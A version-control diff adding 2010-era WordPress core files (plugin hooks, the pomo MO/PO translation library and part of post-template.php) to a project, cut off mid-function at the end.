hinder the uninstall process. + * + * If the plugin can not be written without running code within the plugin, then + * the plugin should create a file named 'uninstall.php' in the base plugin + * folder. This file will be called, if it exists, during the uninstall process + * bypassing the uninstall hook. The plugin, when using the 'uninstall.php' + * should always check for the 'WP_UNINSTALL_PLUGIN' constant, before + * executing. + * + * @since 2.7 + * + * @param string $file + * @param callback $callback The callback to run when the hook is called. + */ +function register_uninstall_hook($file, $callback) { + // The option should not be autoloaded, because it is not needed in most + // cases. Emphasis should be put on using the 'uninstall.php' way of + // uninstalling the plugin. + $uninstallable_plugins = (array) get_option('uninstall_plugins'); + $uninstallable_plugins[plugin_basename($file)] = $callback; + update_option('uninstall_plugins', $uninstallable_plugins); +} + +/** + * Calls the 'all' hook, which will process the functions hooked into it. + * + * The 'all' hook passes all of the arguments or parameters that were used for + * the hook, which this function was called for. + * + * This function is used internally for apply_filters(), do_action(), and + * do_action_ref_array() and is not meant to be used from outside those + * functions. This function does not check for the existence of the all hook, so + * it will fail unless the all hook exists prior to this function call. + * + * @package WordPress + * @subpackage Plugin + * @since 2.5 + * @access private + * + * @uses $wp_filter Used to process all of the functions in the 'all' hook + * + * @param array $args The collected parameters from the hook that was called. + * @param string $hook Optional. The hook name that was used to call the 'all' hook. + */ +function _wp_call_all_hook($args) { + global $wp_filter; + + reset( $wp_filter['all'] ); + do { + foreach( (array) current($wp_filter['all']) as $the_ ) + if ( !is_null($the_['function']) ) + call_user_func_array($the_['function'], $args); + + } while ( next($wp_filter['all']) !== false ); +} + +/** + * Build Unique ID for storage and retrieval. + * + * The old way to serialize the callback caused issues and this function is the + * solution. It works by checking for objects and creating an a new property in + * the class to keep track of the object and new objects of the same class that + * need to be added. + * + * It also allows for the removal of actions and filters for objects after they + * change class properties. It is possible to include the property $wp_filter_id + * in your class and set it to "null" or a number to bypass the workaround. + * However this will prevent you from adding new classes and any new classes + * will overwrite the previous hook by the same class. + * + * Functions and static method callbacks are just returned as strings and + * shouldn't have any speed penalty. + * + * @package WordPress + * @subpackage Plugin + * @access private + * @since 2.2.3 + * @link http://trac.wordpress.org/ticket/3875 + * + * @global array $wp_filter Storage for all of the filters and actions + * @param string $tag Used in counting how many hooks were applied + * @param callback $function Used for creating unique id + * @param int|bool $priority Used in counting how many hooks were applied. If === false and $function is an object reference, we return the unique id only if it already has one, false otherwise. + * @param string $type filter or action + * @return string|bool Unique ID for usage as array key or false if $priority === false and $function is an object reference, and it does not already have a uniqe id. + */ +function _wp_filter_build_unique_id($tag, $function, $priority) { + global $wp_filter; + static $filter_id_count = 0; + + if ( is_string($function) ) { + return $function; + } else if (is_object($function[0]) ) { + // Object Class Calling + if ( function_exists('spl_object_hash') ) { + return spl_object_hash($function[0]) . $function[1]; + } else { + $obj_idx = get_class($function[0]).$function[1]; + if ( !isset($function[0]->wp_filter_id) ) { + if ( false === $priority ) + return false; + $obj_idx .= isset($wp_filter[$tag][$priority]) ? count((array)$wp_filter[$tag][$priority]) : $filter_id_count; + $function[0]->wp_filter_id = $filter_id_count; + ++$filter_id_count; + } else { + $obj_idx .= $function[0]->wp_filter_id; + } + + return $obj_idx; + } + } else if ( is_string($function[0]) ) { + // Static Calling + return $function[0].$function[1]; + } +} + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/pomo/entry.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/pomo/entry.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,70 @@ + $value) { + $this->$varname = $value; + } + if (isset($args['plural'])) $this->is_plural = true; + if (!is_array($this->translations)) $this->translations = array(); + if (!is_array($this->references)) $this->references = array(); + if (!is_array($this->flags)) $this->flags = array(); + } + + /** + * Generates a unique key for this entry + * + * @return string|bool the key or false if the entry is empty + */ + function key() { + if (is_null($this->singular)) return false; + // prepend context and EOT, like in MO files + return is_null($this->context)? $this->singular : $this->context.chr(4).$this->singular; + } +} +endif; \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/pomo/mo.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/pomo/mo.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,231 @@ +is_resource()) + return false; + return $this->import_from_reader($reader); + } + + function export_to_file($filename) { + $fh = fopen($filename, 'wb'); + if ( !$fh ) return false; + $entries = array_filter($this->entries, create_function('$e', 'return !empty($e->translations);')); + ksort($entries); + $magic = 0x950412de; + $revision = 0; + $total = count($entries) + 1; // all the headers are one entry + $originals_lenghts_addr = 28; + $translations_lenghts_addr = $originals_lenghts_addr + 8 * $total; + $size_of_hash = 0; + $hash_addr = $translations_lenghts_addr + 8 * $total; + $current_addr = $hash_addr; + fwrite($fh, pack('V*', $magic, $revision, $total, $originals_lenghts_addr, + $translations_lenghts_addr, $size_of_hash, $hash_addr)); + fseek($fh, $originals_lenghts_addr); + + // headers' msgid is an empty string + fwrite($fh, pack('VV', 0, $current_addr)); + $current_addr++; + $originals_table = chr(0); + + foreach($entries as $entry) { + $originals_table .= $this->export_original($entry) . chr(0); + $length = strlen($this->export_original($entry)); + fwrite($fh, pack('VV', $length, $current_addr)); + $current_addr += $length + 1; // account for the NULL byte after + } + + $exported_headers = $this->export_headers(); + fwrite($fh, pack('VV', strlen($exported_headers), $current_addr)); + $current_addr += strlen($exported_headers) + 1; + $translations_table = $exported_headers . chr(0); + + foreach($entries as $entry) { + $translations_table .= $this->export_translations($entry) . chr(0); + $length = strlen($this->export_translations($entry)); + fwrite($fh, pack('VV', $length, $current_addr)); + $current_addr += $length + 1; + } + + fwrite($fh, $originals_table); + fwrite($fh, $translations_table); + fclose($fh); + } + + function export_original($entry) { + //TODO: warnings for control characters + $exported = $entry->singular; + if ($entry->is_plural) $exported .= chr(0).$entry->plural; + if (!is_null($entry->context)) $exported = $entry->context . chr(4) . $exported; + return $exported; + } + + function export_translations($entry) { + //TODO: warnings for control characters + return implode(chr(0), $entry->translations); + } + + function export_headers() { + $exported = ''; + foreach($this->headers as $header => $value) { + $exported.= "$header: $value\n"; + } + return $exported; + } + + function get_byteorder($magic) { + // The magic is 0x950412de + + // bug in PHP 5.0.2, see https://savannah.nongnu.org/bugs/?func=detailitem&item_id=10565 + $magic_little = (int) - 1794895138; + $magic_little_64 = (int) 2500072158; + // 0xde120495 + $magic_big = ((int) - 569244523) & 0xFFFFFFFF; + if ($magic_little == $magic || $magic_little_64 == $magic) { + return 'little'; + } else if ($magic_big == $magic) { + return 'big'; + } else { + return false; + } + } + + function import_from_reader($reader) { + $endian_string = MO::get_byteorder($reader->readint32()); + if (false === $endian_string) { + return false; + } + $reader->setEndian($endian_string); + + $endian = ('big' == $endian_string)? 'N' : 'V'; + + $header = $reader->read(24); + if ($reader->strlen($header) != 24) + return false; + + // parse header + $header = unpack("{$endian}revision/{$endian}total/{$endian}originals_lenghts_addr/{$endian}translations_lenghts_addr/{$endian}hash_length/{$endian}hash_addr", $header); + if (!is_array($header)) + return false; + + extract( $header ); + + // support revision 0 of MO format specs, only + if ($revision != 0) + return false; + + // seek to data blocks + $reader->seekto($originals_lenghts_addr); + + // read originals' indices + $originals_lengths_length = $translations_lenghts_addr - $originals_lenghts_addr; + if ( $originals_lengths_length != $total * 8 ) + return false; + + $originals = $reader->read($originals_lengths_length); + if ( $reader->strlen( $originals ) != $originals_lengths_length ) + return false; + + // read translations' indices + $translations_lenghts_length = $hash_addr - $translations_lenghts_addr; + if ( $translations_lenghts_length != $total * 8 ) + return false; + + $translations = $reader->read($translations_lenghts_length); + if ( $reader->strlen( $translations ) != $translations_lenghts_length ) + return false; + + // transform raw data into set of indices + $originals = $reader->str_split( $originals, 8 ); + $translations = $reader->str_split( $translations, 8 ); + + // skip hash table + $strings_addr = $hash_addr + $hash_length * 4; + + $reader->seekto($strings_addr); + + $strings = $reader->read_all(); + $reader->close(); + + for ( $i = 0; $i < $total; $i++ ) { + $o = unpack( "{$endian}length/{$endian}pos", $originals[$i] ); + $t = unpack( "{$endian}length/{$endian}pos", $translations[$i] ); + if ( !$o || !$t ) return false; + + // adjust offset due to reading strings to separate space before + $o['pos'] -= $strings_addr; + $t['pos'] -= $strings_addr; + + $original = $reader->substr( $strings, $o['pos'], $o['length'] ); + $translation = $reader->substr( $strings, $t['pos'], $t['length'] ); + + if ('' === $original) { + $this->set_headers($this->make_headers($translation)); + } else { + $entry = &$this->make_entry($original, $translation); + $this->entries[$entry->key()] = &$entry; + } + } + return true; + } + + /** + * Build a Translation_Entry from original string and translation strings, + * found in a MO file + * + * @static + * @param string $original original string to translate from MO file. Might contain + * 0x04 as context separator or 0x00 as singular/plural separator + * @param string $translation translation string from MO file. Might contain + * 0x00 as a plural translations separator + */ + function &make_entry($original, $translation) { + $entry = & new Translation_Entry(); + // look for context + $parts = explode(chr(4), $original); + if (isset($parts[1])) { + $original = $parts[1]; + $entry->context = $parts[0]; + } + // look for plural original + $parts = explode(chr(0), $original); + $entry->singular = $parts[0]; + if (isset($parts[1])) { + $entry->is_plural = true; + $entry->plural = $parts[1]; + } + // plural translations are also separated by \0 + $entry->translations = explode(chr(0), $translation); + return $entry; + } + + function select_plural_form($count) { + return $this->gettext_select_plural_form($count); + } + + function get_plural_forms_count() { + return $this->_nplurals; + } +} +endif; \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/pomo/po.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/pomo/po.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,363 @@ +headers as $header => $value) { + $header_string.= "$header: $value\n"; + } + $poified = PO::poify($header_string); + return rtrim("msgid \"\"\nmsgstr $poified"); + } + + /** + * Exports all entries to PO format + * + * @return string sequence of mgsgid/msgstr PO strings, doesn't containt newline at the end + */ + function export_entries() { + //TODO sorting + return implode("\n\n", array_map(array('PO', 'export_entry'), $this->entries)); + } + + /** + * Exports the whole PO file as a string + * + * @param bool $include_headers whether to include the headers in the export + * @return string ready for inclusion in PO file string for headers and all the enrtries + */ + function export($include_headers = true) { + $res = ''; + if ($include_headers) { + $res .= $this->export_headers(); + $res .= "\n\n"; + } + $res .= $this->export_entries(); + return $res; + } + + /** + * Same as {@link export}, but writes the result to a file + * + * @param string $filename where to write the PO string + * @param bool $include_headers whether to include tje headers in the export + * @return bool true on success, false on error + */ + function export_to_file($filename, $include_headers = true) { + $fh = fopen($filename, 'w'); + if (false === $fh) return false; + $export = $this->export($include_headers); + $res = fwrite($fh, $export); + if (false === $res) return false; + return fclose($fh); + } + + /** + * Formats a string in PO-style + * + * @static + * @param string $string the string to format + * @return string the poified string + */ + function poify($string) { + $quote = '"'; + $slash = '\\'; + $newline = "\n"; + + $replaces = array( + "$slash" => "$slash$slash", + "$quote" => "$slash$quote", + "\t" => '\t', + ); + + $string = str_replace(array_keys($replaces), array_values($replaces), $string); + + $po = $quote.implode("${slash}n$quote$newline$quote", explode($newline, $string)).$quote; + // add empty string on first line for readbility + if (false !== strpos($string, $newline) && + (substr_count($string, $newline) > 1 || !($newline === substr($string, -strlen($newline))))) { + $po = "$quote$quote$newline$po"; + } + // remove empty strings + $po = str_replace("$newline$quote$quote", '', $po); + return $po; + } + + /** + * Gives back the original string from a PO-formatted string + * + * @static + * @param string $string PO-formatted string + * @return string enascaped string + */ + function unpoify($string) { + $escapes = array('t' => "\t", 'n' => "\n", '\\' => '\\'); + $lines = array_map('trim', explode("\n", $string)); + $lines = array_map(array('PO', 'trim_quotes'), $lines); + $unpoified = ''; + $previous_is_backslash = false; + foreach($lines as $line) { + preg_match_all('/./u', $line, $chars); + $chars = $chars[0]; + foreach($chars as $char) { + if (!$previous_is_backslash) { + if ('\\' == $char) + $previous_is_backslash = true; + else + $unpoified .= $char; + } else { + $previous_is_backslash = false; + $unpoified .= isset($escapes[$char])? $escapes[$char] : $char; + } + } + } + return $unpoified; + } + + /** + * Inserts $with in the beginning of every new line of $string and + * returns the modified string + * + * @static + * @param string $string prepend lines in this string + * @param string $with prepend lines with this string + */ + function prepend_each_line($string, $with) { + $php_with = var_export($with, true); + $lines = explode("\n", $string); + // do not prepend the string on the last empty line, artefact by explode + if ("\n" == substr($string, -1)) unset($lines[count($lines) - 1]); + $res = implode("\n", array_map(create_function('$x', "return $php_with.\$x;"), $lines)); + // give back the empty line, we ignored above + if ("\n" == substr($string, -1)) $res .= "\n"; + return $res; + } + + /** + * Prepare a text as a comment -- wraps the lines and prepends # + * and a special character to each line + * + * @access private + * @param string $text the comment text + * @param string $char character to denote a special PO comment, + * like :, default is a space + */ + function comment_block($text, $char=' ') { + $text = wordwrap($text, PO_MAX_LINE_LEN - 3); + return PO::prepend_each_line($text, "#$char "); + } + + /** + * Builds a string from the entry for inclusion in PO file + * + * @static + * @param object &$entry the entry to convert to po string + * @return string|bool PO-style formatted string for the entry or + * false if the entry is empty + */ + function export_entry(&$entry) { + if (is_null($entry->singular)) return false; + $po = array(); + if (!empty($entry->translator_comments)) $po[] = PO::comment_block($entry->translator_comments); + if (!empty($entry->extracted_comments)) $po[] = PO::comment_block($entry->extracted_comments, '.'); + if (!empty($entry->references)) $po[] = PO::comment_block(implode(' ', $entry->references), ':'); + if (!empty($entry->flags)) $po[] = PO::comment_block(implode(", ", $entry->flags), ','); + if (!is_null($entry->context)) $po[] = 'msgctxt '.PO::poify($entry->context); + $po[] = 'msgid '.PO::poify($entry->singular); + if (!$entry->is_plural) { + $translation = empty($entry->translations)? '' : $entry->translations[0]; + $po[] = 'msgstr '.PO::poify($translation); + } else { + $po[] = 'msgid_plural '.PO::poify($entry->plural); + $translations = empty($entry->translations)? array('', '') : $entry->translations; + foreach($translations as $i => $translation) { + $po[] = "msgstr[$i] ".PO::poify($translation); + } + } + return implode("\n", $po); + } + + function import_from_file($filename) { + $f = fopen($filename, 'r'); + if (!$f) return false; + $lineno = 0; + while (true) { + $res = $this->read_entry($f, $lineno); + if (!$res) break; + if ($res['entry']->singular == '') { + $this->set_headers($this->make_headers($res['entry']->translations[0])); + } else { + $this->add_entry($res['entry']); + } + } + PO::read_line($f, 'clear'); + return $res !== false; + } + + function read_entry($f, $lineno = 0) { + $entry = new Translation_Entry(); + // where were we in the last step + // can be: comment, msgctxt, msgid, msgid_plural, msgstr, msgstr_plural + $context = ''; + $msgstr_index = 0; + $is_final = create_function('$context', 'return $context == "msgstr" || $context == "msgstr_plural";'); + while (true) { + $lineno++; + $line = PO::read_line($f); + if (!$line) { + if (feof($f)) { + if ($is_final($context)) + break; + elseif (!$context) // we haven't read a line and eof came + return null; + else + return false; + } else { + return false; + } + } + if ($line == "\n") continue; + $line = trim($line); + if (preg_match('/^#/', $line, $m)) { + // the comment is the start of a new entry + if ($is_final($context)) { + PO::read_line($f, 'put-back'); + $lineno--; + break; + } + // comments have to be at the beginning + if ($context && $context != 'comment') { + return false; + } + // add comment + $this->add_comment_to_entry($entry, $line);; + } elseif (preg_match('/^msgctxt\s+(".*")/', $line, $m)) { + if ($is_final($context)) { + PO::read_line($f, 'put-back'); + $lineno--; + break; + } + if ($context && $context != 'comment') { + return false; + } + $context = 'msgctxt'; + $entry->context .= PO::unpoify($m[1]); + } elseif (preg_match('/^msgid\s+(".*")/', $line, $m)) { + if ($is_final($context)) { + PO::read_line($f, 'put-back'); + $lineno--; + break; + } + if ($context && $context != 'msgctxt' && $context != 'comment') { + return false; + } + $context = 'msgid'; + $entry->singular .= PO::unpoify($m[1]); + } elseif (preg_match('/^msgid_plural\s+(".*")/', $line, $m)) { + if ($context != 'msgid') { + return false; + } + $context = 'msgid_plural'; + $entry->is_plural = true; + $entry->plural .= PO::unpoify($m[1]); + } elseif (preg_match('/^msgstr\s+(".*")/', $line, $m)) { + if ($context != 'msgid') { + return false; + } + $context = 'msgstr'; + $entry->translations = array(PO::unpoify($m[1])); + } elseif (preg_match('/^msgstr\[(\d+)\]\s+(".*")/', $line, $m)) { + if ($context != 'msgid_plural' && $context != 'msgstr_plural') { + return false; + } + $context = 'msgstr_plural'; + $msgstr_index = $m[1]; + $entry->translations[$m[1]] = PO::unpoify($m[2]); + } elseif (preg_match('/^".*"$/', $line)) { + $unpoified = PO::unpoify($line); + switch ($context) { + case 'msgid': + $entry->singular .= $unpoified; break; + case 'msgctxt': + $entry->context .= $unpoified; break; + case 'msgid_plural': + $entry->plural .= $unpoified; break; + case 'msgstr': + $entry->translations[0] .= $unpoified; break; + case 'msgstr_plural': + $entry->translations[$msgstr_index] .= $unpoified; break; + default: + return false; + } + } else { + return false; + } + } + if (array() == array_filter($entry->translations, create_function('$t', 'return $t || "0" === $t;'))) { + $entry->translations = array(); + } + return array('entry' => $entry, 'lineno' => $lineno); + } + + function read_line($f, $action = 'read') { + static $last_line = ''; + static $use_last_line = false; + if ('clear' == $action) { + $last_line = ''; + return true; + } + if ('put-back' == $action) { + $use_last_line = true; + return true; + } + $line = $use_last_line? $last_line : fgets($f); + $last_line = $line; + $use_last_line = false; + return $line; + } + + function add_comment_to_entry(&$entry, $po_comment_line) { + $first_two = substr($po_comment_line, 0, 2); + $comment = trim(substr($po_comment_line, 2)); + if ('#:' == $first_two) { + $entry->references = array_merge($entry->references, preg_split('/\s+/', $comment)); + } elseif ('#.' == $first_two) { + $entry->extracted_comments = trim($entry->extracted_comments . "\n" . $comment); + } elseif ('#,' == $first_two) { + $entry->flags = array_merge($entry->flags, preg_split('/,\s*/', $comment)); + } else { + $entry->translator_comments = trim($entry->translator_comments . "\n" . $comment); + } + } + + function trim_quotes($s) { + if ( substr($s, 0, 1) == '"') $s = substr($s, 1); + if ( substr($s, -1, 1) == '"') $s = substr($s, 0, -1); + return $s; + } +} +endif; \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/pomo/streams.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/pomo/streams.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,209 @@ + + * + * @version $Id: streams.php 293 2009-11-12 15:43:50Z nbachiyski $ + * @package pomo + * @subpackage streams + */ + +if ( !class_exists( 'POMO_Reader' ) ): +class POMO_Reader { + + var $endian = 'little'; + var $_post = ''; + + function POMO_Reader() { + $this->is_overloaded = ((ini_get("mbstring.func_overload") & 2) != 0) && function_exists('mb_substr'); + $this->_pos = 0; + } + + /** + * Sets the endianness of the file. + * + * @param $endian string 'big' or 'little' + */ + function setEndian($endian) { + $this->endian = $endian; + } + + /** + * Reads a 32bit Integer from the Stream + * + * @return mixed The integer, corresponding to the next 32 bits from + * the stream of false if there are not enough bytes or on error + */ + function readint32() { + $bytes = $this->read(4); + if (4 != $this->strlen($bytes)) + return false; + $endian_letter = ('big' == $this->endian)? 'N' : 'V'; + $int = unpack($endian_letter, $bytes); + return array_shift($int); + } + + /** + * Reads an array of 32-bit Integers from the Stream + * + * @param integer count How many elements should be read + * @return mixed Array of integers or false if there isn't + * enough data or on error + */ + function readint32array($count) { + $bytes = $this->read(4 * $count); + if (4*$count != $this->strlen($bytes)) + return false; + $endian_letter = ('big' == $this->endian)? 'N' : 'V'; + return unpack($endian_letter.$count, $bytes); + } + + + function substr($string, $start, $length) { + if ($this->is_overloaded) { + return mb_substr($string, $start, $length, 'ascii'); + } else { + return substr($string, $start, $length); + } + } + + function strlen($string) { + if ($this->is_overloaded) { + return mb_strlen($string, 'ascii'); + } else { + return strlen($string); + } + } + + function str_split($string, $chunk_size) { + if (!function_exists('str_split')) { + $length = $this->strlen($string); + $out = array(); + for ($i = 0; $i < $length; $i += $chunk_size) + $out[] = $this->substr($string, $i, $chunk_size); + return $out; + } else { + return str_split( $string, $chunk_size ); + } + } + + + function pos() { + return $this->_pos; + } + + function is_resource() { + return true; + } + + function close() { + return true; + } +} +endif; + +if ( !class_exists( 'POMO_FileReader' ) ): +class POMO_FileReader extends POMO_Reader { + function POMO_FileReader($filename) { + parent::POMO_Reader(); + $this->_f = fopen($filename, 'r'); + } + + function read($bytes) { + return fread($this->_f, $bytes); + } + + function seekto($pos) { + if ( -1 == fseek($this->_f, $pos, SEEK_SET)) { + return false; + } + $this->_pos = $pos; + return true; + } + + function is_resource() { + return is_resource($this->_f); + } + + function feof() { + return feof($this->_f); + } + + function close() { + return fclose($this->_f); + } + + function read_all() { + $all = ''; + while ( !$this->feof() ) + $all .= $this->read(4096); + return $all; + } +} +endif; + +if ( !class_exists( 'POMO_StringReader' ) ): +/** + * Provides file-like methods for manipulating a string instead + * of a physical file. + */ +class POMO_StringReader extends POMO_Reader { + + var $_str = ''; + + function POMO_StringReader($str = '') { + parent::POMO_Reader(); + $this->_str = $str; + $this->_pos = 0; + } + + + function read($bytes) { + $data = $this->substr($this->_str, $this->_pos, $bytes); + $this->_pos += $bytes; + if ($this->strlen($this->_str) < $this->_pos) $this->_pos = $this->strlen($this->_str); + return $data; + } + + function seekto($pos) { + $this->_pos = $pos; + if ($this->strlen($this->_str) < $this->_pos) $this->_pos = $this->strlen($this->_str); + return $this->_pos; + } + + function length() { + return $this->strlen($this->_str); + } + + function read_all() { + return $this->substr($this->_str, $this->_pos, $this->strlen($this->_str)); + } + +} +endif; + +if ( !class_exists( 'POMO_CachedFileReader' ) ): +/** + * Reads the contents of the file in the beginning. + */ +class POMO_CachedFileReader extends POMO_StringReader { + function POMO_CachedFileReader($filename) { + parent::POMO_StringReader(); + $this->_str = file_get_contents($filename); + if (false === $this->_str) + return false; + $this->_pos = 0; + } +} +endif; + +if ( !class_exists( 'POMO_CachedIntFileReader' ) ): +/** + * Reads the contents of the file in the beginning. + */ +class POMO_CachedIntFileReader extends POMO_CachedFileReader { + function POMO_CachedIntFileReader($filename) { + parent::POMO_CachedFileReader($filename); + } +} +endif; \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/pomo/translations.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/pomo/translations.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,251 @@ +key(); + if (false === $key) return false; + $this->entries[$key] = &$entry; + return true; + } + + /** + * Sets $header PO header to $value + * + * If the header already exists, it will be overwritten + * + * TODO: this should be out of this class, it is gettext specific + * + * @param string $header header name, without trailing : + * @param string $value header value, without trailing \n + */ + function set_header($header, $value) { + $this->headers[$header] = $value; + } + + function set_headers(&$headers) { + foreach($headers as $header => $value) { + $this->set_header($header, $value); + } + } + + function get_header($header) { + return isset($this->headers[$header])? $this->headers[$header] : false; + } + + function translate_entry(&$entry) { + $key = $entry->key(); + return isset($this->entries[$key])? $this->entries[$key] : false; + } + + function translate($singular, $context=null) { + $entry = new Translation_Entry(array('singular' => $singular, 'context' => $context)); + $translated = $this->translate_entry($entry); + return ($translated && !empty($translated->translations))? $translated->translations[0] : $singular; + } + + /** + * Given the number of items, returns the 0-based index of the plural form to use + * + * Here, in the base Translations class, the commong logic for English is implmented: + * 0 if there is one element, 1 otherwise + * + * This function should be overrided by the sub-classes. For example MO/PO can derive the logic + * from their headers. + * + * @param integer $count number of items + */ + function select_plural_form($count) { + return 1 == $count? 0 : 1; + } + + function get_plural_forms_count() { + return 2; + } + + function translate_plural($singular, $plural, $count, $context = null) { + $entry = new Translation_Entry(array('singular' => $singular, 'plural' => $plural, 'context' => $context)); + $translated = $this->translate_entry($entry); + $index = $this->select_plural_form($count); + $total_plural_forms = $this->get_plural_forms_count(); + if ($translated && 0 <= $index && $index < $total_plural_forms && + is_array($translated->translations) && + isset($translated->translations[$index])) + return $translated->translations[$index]; + else + return 1 == $count? $singular : $plural; + } + + /** + * Merge $other in the current object. + * + * @param Object &$other Another Translation object, whose translations will be merged in this one + * @return void + **/ + function merge_with(&$other) { + $this->entries = array_merge($this->entries, $other->entries); + } +} + +class Gettext_Translations extends Translations { + /** + * The gettext implmentation of select_plural_form. + * + * It lives in this class, because there are more than one descendand, which will use it and + * they can't share it effectively. + * + */ + function gettext_select_plural_form($count) { + if (!isset($this->_gettext_select_plural_form) || is_null($this->_gettext_select_plural_form)) { + list( $nplurals, $expression ) = $this->nplurals_and_expression_from_header($this->get_header('Plural-Forms')); + $this->_nplurals = $nplurals; + $this->_gettext_select_plural_form = $this->make_plural_form_function($nplurals, $expression); + } + return call_user_func($this->_gettext_select_plural_form, $count); + } + + function nplurals_and_expression_from_header($header) { + if (preg_match('/^\s*nplurals\s*=\s*(\d+)\s*;\s+plural\s*=\s*(.+)$/', $header, $matches)) { + $nplurals = (int)$matches[1]; + $expression = trim($this->parenthesize_plural_exression($matches[2])); + return array($nplurals, $expression); + } else { + return array(2, 'n != 1'); + } + } + + /** + * Makes a function, which will return the right translation index, according to the + * plural forms header + */ + function make_plural_form_function($nplurals, $expression) { + $expression = str_replace('n', '$n', $expression); + $func_body = " + \$index = (int)($expression); + return (\$index < $nplurals)? \$index : $nplurals - 1;"; + return create_function('$n', $func_body); + } + + /** + * Adds parantheses to the inner parts of ternary operators in + * plural expressions, because PHP evaluates ternary oerators from left to right + * + * @param string $expression the expression without parentheses + * @return string the expression with parentheses added + */ + function parenthesize_plural_exression($expression) { + $expression .= ';'; + $res = ''; + $depth = 0; + for ($i = 0; $i < strlen($expression); ++$i) { + $char = $expression[$i]; + switch ($char) { + case '?': + $res .= ' ? ('; + $depth++; + break; + case ':': + $res .= ') : ('; + break; + case ';': + $res .= str_repeat(')', $depth) . ';'; + $depth= 0; + break; + default: + $res .= $char; + } + } + return rtrim($res, ';'); + } + + function make_headers($translation) { + $headers = array(); + // sometimes \ns are used instead of real new lines + $translation = str_replace('\n', "\n", $translation); + $lines = explode("\n", $translation); + foreach($lines as $line) { + $parts = explode(':', $line, 2); + if (!isset($parts[1])) continue; + $headers[trim($parts[0])] = trim($parts[1]); + } + return $headers; + } + + function set_header($header, $value) { + parent::set_header($header, $value); + if ('Plural-Forms' == $header) { + list( $nplurals, $expression ) = $this->nplurals_and_expression_from_header($this->get_header('Plural-Forms')); + $this->_nplurals = $nplurals; + $this->_gettext_select_plural_form = $this->make_plural_form_function($nplurals, $expression); + } + } +} +endif; + +if ( !class_exists( 'NOOP_Translations' ) ): +/** + * Provides the same interface as Translations, but doesn't do anything + */ +class NOOP_Translations { + var $entries = array(); + var $headers = array(); + + function add_entry($entry) { + return true; + } + + function set_header($header, $value) { + } + + function set_headers(&$headers) { + } + + function get_header($header) { + return false; + } + + function translate_entry(&$entry) { + return false; + } + + function translate($singular, $context=null) { + return $singular; + } + + function select_plural_form($count) { + return 1 == $count? 0 : 1; + } + + function get_plural_forms_count() { + return 2; + } + + function translate_plural($singular, $plural, $count, $context = null) { + return 1 == $count? $singular : $plural; + } + + function merge_with(&$other) { + } +} +endif; diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/post-template.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/post-template.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1356 @@ + '', 'after' => '', 'echo' => true); + $r = wp_parse_args($args, $defaults); + extract( $r, EXTR_SKIP ); + + + $title = $before . $title . $after; + $title = esc_attr(strip_tags($title)); + + if ( $echo ) + echo $title; + else + return $title; +} + +/** + * Retrieve post title. + * + * If the post is protected and the visitor is not an admin, then "Protected" + * will be displayed before the post title. If the post is private, then + * "Private" will be located before the post title. + * + * @since 0.71 + * + * @param int $id Optional. Post ID. + * @return string + */ +function get_the_title( $id = 0 ) { + $post = &get_post($id); + + $title = $post->post_title; + + if ( !is_admin() ) { + if ( !empty($post->post_password) ) { + $protected_title_format = apply_filters('protected_title_format', __('Protected: %s')); + $title = sprintf($protected_title_format, $title); + } else if ( isset($post->post_status) && 'private' == $post->post_status ) { + $private_title_format = apply_filters('private_title_format', __('Private: %s')); + $title = sprintf($private_title_format, $title); + } + } + return apply_filters( 'the_title', $title, $post->ID ); +} + +/** + * Display the Post Global Unique Identifier (guid). + * + * The guid will appear to be a link, but should not be used as an link to the + * post. The reason you should not use it as a link, is because of moving the + * blog across domains. + * + * @since 1.5.0 + * + * @param int $id Optional. Post ID. + */ +function the_guid( $id = 0 ) { + echo get_the_guid($id); +} + +/** + * Retrieve the Post Global Unique Identifier (guid). + * + * The guid will appear to be a link, but should not be used as an link to the + * post. The reason you should not use it as a link, is because of moving the + * blog across domains. + * + * @since 1.5.0 + * + * @param int $id Optional. Post ID. + * @return string + */ +function get_the_guid( $id = 0 ) { + $post = &get_post($id); + + return apply_filters('get_the_guid', $post->guid); +} + +/** + * Display the post content. + * + * @since 0.71 + * + * @param string $more_link_text Optional. Content for when there is more text. + * @param string $stripteaser Optional. Teaser content before the more text. + */ +function the_content($more_link_text = null, $stripteaser = 0) { + $content = get_the_content($more_link_text, $stripteaser); + $content = apply_filters('the_content', $content); + $content = str_replace(']]>', ']]>', $content); + if (is_single() && function_exists(amt_cc)) { $content = amt_cc($content); } + echo $content; +} + +/** + * Retrieve the post content. + * + * @since 0.71 + * + * @param string $more_link_text Optional. Content for when there is more text. + * @param string $stripteaser Optional. Teaser content before the more text. + * @return string + */ +function get_the_content($more_link_text = null, $stripteaser = 0) { + global $id, $post, $more, $page, $pages, $multipage, $preview, $pagenow; + + if ( null === $more_link_text ) + $more_link_text = __( '(more...)' ); + + $output = ''; + $hasTeaser = false; + + // If post password required and it doesn't match the cookie. + if ( post_password_required($post) ) { + $output = get_the_password_form(); + return $output; + } + + if ( $page > count($pages) ) // if the requested page doesn't exist + $page = count($pages); // give them the highest numbered page that DOES exist + + $content = $pages[$page-1]; + if ( preg_match('//', $content, $matches) ) { + $content = explode($matches[0], $content, 2); + if ( !empty($matches[1]) && !empty($more_link_text) ) + $more_link_text = strip_tags(wp_kses_no_null(trim($matches[1]))); + + $hasTeaser = true; + } else { + $content = array($content); + } + if ( (false !== strpos($post->post_content, '') 